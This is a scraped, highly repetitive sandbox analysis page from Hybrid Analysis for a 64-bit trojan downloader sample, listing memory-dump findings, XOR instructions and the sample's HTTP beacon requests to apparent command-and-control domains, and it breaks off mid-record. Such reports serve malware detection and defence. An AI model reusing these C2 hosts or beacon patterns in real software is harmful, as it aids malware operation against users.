26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 46:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4d6,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win64/TrojanDownloader.Agent.AER Sample ab52c1b08489… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ab52c1b08489…. Malware family: Win64/TrojanDownloader.Agent.AER. Threat score 100/100. 4/27 AV engines flagged this file. 4 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ab52c1b084899f26f4589de51763cae42cfa3b0ef49ed199f75c47dbfd704a15","keywords":["Malicious","Win64/TrojanDownloader.Agent.AER","malware analysis","sandbox report","threat intelligence","ab52c1b084899f26f4589de51763cae42cfa3b0ef49ed199f75c47dbfd704a15"],"about":{"@type":"SoftwareApplication","name":"missionA.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"ab52c1b084899f26f4589de51763cae42cfa3b0ef49ed199f75c47dbfd704a15","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win64/TrojanDownloader.Agent.AER","antivirusDetections":{"malicious":4,"total":27},"behavioralIndicators":{"malicious":4,"suspicious":23},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T59e,Found Base64 decoder "AVBase64Decoder@CryptoPP@@" - Source: "00000000-00003864.00000000.69753.01F20000.00000004.mdmp") Found Base64 decoder "AVBase64Decoder@CryptoPP@@" - Source: "00000000-00003864.00000000.69753.03110000.00000040.mdmp") Found Base64 decoder "AVBase64Decoder@CryptoPP@@" - Source: "00000000-00003864.00000000.69753.03290000.00000040.mdmp") Found Base64 decoder "AVBase64Decoder@CryptoPP@@" - Source: "00000000-00003864.00000001.71678.01F20000.00000004.mdmp") Found Base64 decoder "AVBase64Decoder@CryptoPP@@" - Source: "00000000-00003864.00000001.71678.03110000.00000040.mdmp") Found Base64 decoder "AVBase64Decoder@CryptoPP@@" - Source: "00000000-00003864.00000001.71678.03290000.00000040.mdmp") Found Base64 decoder "AVBase64Decoder@CryptoPP@@" - Source: "00000000-00003864.00000002.73602.01F20000.00000004.mdmp") Found Base64 decoder "AVBase64Decoder@CryptoPP@@" - Source: "00000000-00003864.00000002.73602.03110000.00000040.mdmp") Found Base64 decoder "AVBase64Decoder@CryptoPP@@" - Source: "00000000-00003864.00000002.73602.03290000.00000040.mdmp") Found Base64 decoder "AVBase64Decoder@CryptoPP@@" - Source: "00000000-00003864.00000003.81040.01F20000.00000004.mdmp") Found Base64 decoder "AVBase64Decoder@CryptoPP@@" - Source: "00000000-00003864.00000003.81040.03110000.00000040.mdmp") Found Base64 decoder "AVBase64Decoder@CryptoPP@@" - Source: "00000000-00003864.00000003.81040.03290000.00000040.mdmp")28:T59e,Found Base64 encoder "AVBase64Encoder@CryptoPP@@" - Source: "00000000-00003864.00000000.69753.01F20000.00000004.mdmp") Found Base64 encoder "AVBase64Encoder@CryptoPP@@" - Source: "00000000-00003864.00000000.69753.03110000.00000040.mdmp") Found Base64 encoder "AVBase64Encoder@CryptoPP@@" - Source: "00000000-00003864.00000000.69753.03290000.00000040.mdmp") Found Base64 encoder "AVBase64Encoder@CryptoPP@@" - Source: "00000000-00003864.00000001.71678.01F20000.00000004.mdmp") Found Base64 encoder "AVBase64Encoder@CryptoPP@@" - Source: "00000000-00003864.00000001.71678.03110000.00000040.mdmp") Found Base64 encoder "AVBase64Encoder@CryptoPP@@" - Source: "00000000-00003864.00000001.71678.03290000.00000040.mdmp") Found Base64 encoder "AVBase64Encoder@CryptoPP@@" - Source: "00000000-00003864.00000002.73602.01F20000.00000004.mdmp") Found Base64 encoder "AVBase64Encoder@CryptoPP@@" - Source: "00000000-00003864.00000002.73602.03110000.00000040.mdmp") Found Base64 encoder "AVBase64Encoder@CryptoPP@@" - Source: "00000000-00003864.00000002.73602.03290000.00000040.mdmp") Found Base64 encoder "AVBase64Encoder@CryptoPP@@" - Source: "00000000-00003864.00000003.81040.01F20000.00000004.mdmp") Found Base64 encoder "AVBase64Encoder@CryptoPP@@" - Source: "00000000-00003864.00000003.81040.03110000.00000040.mdmp") Found Base64 encoder "AVBase64Encoder@CryptoPP@@" - Source: "00000000-00003864.00000003.81040.03290000.00000040.mdmp")29:T664,Found PE header "MZ" - Source: "00000000-00001544.00000000.75934.FF600000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001544.00000001.77652.FF600000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00003864.00000000.69753.01F20000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003864.00000000.69753.03110000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003864.00000000.69753.03290000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003864.00000000.69753.3FF10000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00003864.00000001.71678.01F20000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003864.00000001.71678.03110000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003864.00000001.71678.03290000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003864.00000001.71678.3FF10000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00003864.00000002.73602.01F20000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003864.00000002.73602.03110000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003864.00000002.73602.03290000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003864.00000002.73602.3FF10000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00003864.00000003.81040.01F20000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003864.00000003.81040.03110000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003864.00000003.81040.03290000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003864.00000003.81040.3FF10000.00000002.mdmp")2a:T942,Assembly shows XOR instruction xor rax rsp in Stream UID: 53111-1841-000000014000E3C6 Assembly shows XOR instruction xor eax esp in Stream UID: 53111-1841-000000014000E3C6 Assembly shows XOR instruction xor rcx rsp in Stream UID: 53111-1841-000000014000E3C6 Assembly shows XOR instruction xor ecx esp in Stream UID: 53111-1841-000000014000E3C6 Assembly shows XOR instruction xor rcx rsp in Stream UID: 53111-1706-0000000140008ED1 Assembly shows XOR instruction xor ecx esp in Stream UID: 53111-1706-0000000140008ED1 Assembly shows XOR instruction xor rax rsp in Stream UID: 53111-1759-000000014000CE58 Assembly shows XOR instruction xor eax esp in Stream UID: 53111-1759-000000014000CE58 Assembly shows XOR instruction xor rcx rsp in Stream UID: 53111-1759-000000014000CE58 Assembly shows XOR instruction xor ecx esp in Stream UID: 53111-1759-000000014000CE58 Assembly shows XOR instruction xor byte ptr [rsp+rdx*8] al in Stream UID: 53111-1578-0000000140001178 Assembly shows XOR instruction xor rcx rsp in Stream UID: 53111-1578-0000000140001178 Assembly shows XOR instruction xor ecx esp in Stream UID: 53111-1578-0000000140001178 Assembly shows XOR instruction xor rcx rsp in Stream UID: 53111-1713-00000001400091A8 Assembly shows XOR instruction xor ecx esp in Stream UID: 53111-1713-00000001400091A8 Assembly shows XOR instruction xor rcx rsp in Stream UID: 53111-1717-00000001400095CF Assembly shows XOR instruction xor ecx esp in Stream UID: 53111-1717-00000001400095CF Assembly shows XOR instruction xor rcx rsp in Stream UID: 53111-1647-0000000140006D45 Assembly shows XOR instruction xor ecx esp in Stream UID: 53111-1647-0000000140006D45 Assembly shows XOR instruction xor rax rsp in Stream UID: 33886-27-00000001000087B0 Assembly shows XOR instruction xor eax esp in Stream UID: 33886-27-00000001000087B0 Assembly shows XOR instruction xor rcx rsp in Stream UID: 33886-27-00000001000087B0 Assembly shows XOR instruction xor ecx esp in Stream UID: 33886-27-00000001000087B0 Assembly shows XOR instruction xor rax rsp in Stream UID: 33886-7-00000001000099F4 Assembly shows XOR instruction xor eax esp in Stream UID: 33886-7-00000001000099F4 Assembly shows XOR instruction xor rcx rsp in Stream UID: 33886-7-00000001000099F4 Assembly shows XOR instruction xor ecx esp in Stream UID: 33886-7-00000001000099F42b:Te6df,Contains base64 string in header "HTTPREADHost" in header "GET /sts/imagc.jpg HTTP/1.1User-Agent: HTTPREADHost: us.imgjeoigaa.comCache-Control: no-cache" Contains base64 string in header "comCache" in header "GET /sts/imagc.jpg HTTP/1.1User-Agent: HTTPREADHost: us.imgjeoigaa.comCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=43544&key=e02311eeae4a43c5112329d8205993d2 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "e02311eeae4a43c5112329d8205993d2" in header "POST /check/?sid=43544&key=e02311eeae4a43c5112329d8205993d2 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=43544&key=e02311eeae4a43c5112329d8205993d2 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=43544&key=e02311eeae4a43c5112329d8205993d2 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=43544&key=e02311eeae4a43c5112329d8205993d2 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=43544&key=e02311eeae4a43c5112329d8205993d2 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=43544&key=e02311eeae4a43c5112329d8205993d2 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=43546&key=c272c33d0ae111e0df6df5f31eef438b HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "c272c33d0ae111e0df6df5f31eef438b" in header "POST /check/?sid=43546&key=c272c33d0ae111e0df6df5f31eef438b HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=43546&key=c272c33d0ae111e0df6df5f31eef438b HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=43546&key=c272c33d0ae111e0df6df5f31eef438b HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=43546&key=c272c33d0ae111e0df6df5f31eef438b HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=43546&key=c272c33d0ae111e0df6df5f31eef438b HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=43546&key=c272c33d0ae111e0df6df5f31eef438b HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=43548&key=d78fe5bc6c85084a9282de683d601b06 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "d78fe5bc6c85084a9282de683d601b06" in header "POST /check/?sid=43548&key=d78fe5bc6c85084a9282de683d601b06 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=43548&key=d78fe5bc6c85084a9282de683d601b06 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=43548&key=d78fe5bc6c85084a9282de683d601b06 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=43548&key=d78fe5bc6c85084a9282de683d601b06 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=43548&key=d78fe5bc6c85084a9282de683d601b06 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=43548&key=d78fe5bc6c85084a9282de683d601b06 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=43550&key=dc160ac59e3e895fc74170252a5670f5 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "dc160ac59e3e895fc74170252a5670f5" in header "POST /check/?sid=43550&key=dc160ac59e3e895fc74170252a5670f5 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=43550&key=dc160ac59e3e895fc74170252a5670f5 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=43550&key=dc160ac59e3e895fc74170252a5670f5 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=43550&key=dc160ac59e3e895fc74170252a5670f5 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=43550&key=dc160ac59e3e895fc74170252a5670f5 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=43550&key=dc160ac59e3e895fc74170252a5670f5 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=43556&key=137fee56a99c3220059c355ef5fac5e0 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "137fee56a99c3220059c355ef5fac5e0" in header "POST /check/?sid=43556&key=137fee56a99c3220059c355ef5fac5e0 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=43556&key=137fee56a99c3220059c355ef5fac5e0 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=43556&key=137fee56a99c3220059c355ef5fac5e0 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=43556&key=137fee56a99c3220059c355ef5fac5e0 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=43556&key=137fee56a99c3220059c355ef5fac5e0 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=43556&key=137fee56a99c3220059c355ef5fac5e0 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=43560&key=a5c46bc51513f4d0d0c2689dccd0ed03 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "a5c46bc51513f4d0d0c2689dccd0ed03" in header "POST /check/?sid=43560&key=a5c46bc51513f4d0d0c2689dccd0ed03 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=43560&key=a5c46bc51513f4d0d0c2689dccd0ed03 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=43560&key=a5c46bc51513f4d0d0c2689dccd0ed03 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=43560&key=a5c46bc51513f4d0d0c2689dccd0ed03 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=43560&key=a5c46bc51513f4d0d0c2689dccd0ed03 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=43560&key=a5c46bc51513f4d0d0c2689dccd0ed03 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=43566&key=3d2383c6cde51c9cb5188dc560599996 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "3d2383c6cde51c9cb5188dc560599996" in header "POST /check/?sid=43566&key=3d2383c6cde51c9cb5188dc560599996 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=43566&key=3d2383c6cde51c9cb5188dc560599996 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=43566&key=3d2383c6cde51c9cb5188dc560599996 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=43566&key=3d2383c6cde51c9cb5188dc560599996 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=43566&key=3d2383c6cde51c9cb5188dc560599996 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=43566&key=3d2383c6cde51c9cb5188dc560599996 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=43570&key=b0b4b7386ea2485d06b94f7e8af64215 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "b0b4b7386ea2485d06b94f7e8af64215" in header "POST /check/?sid=43570&key=b0b4b7386ea2485d06b94f7e8af64215 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=43570&key=b0b4b7386ea2485d06b94f7e8af64215 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 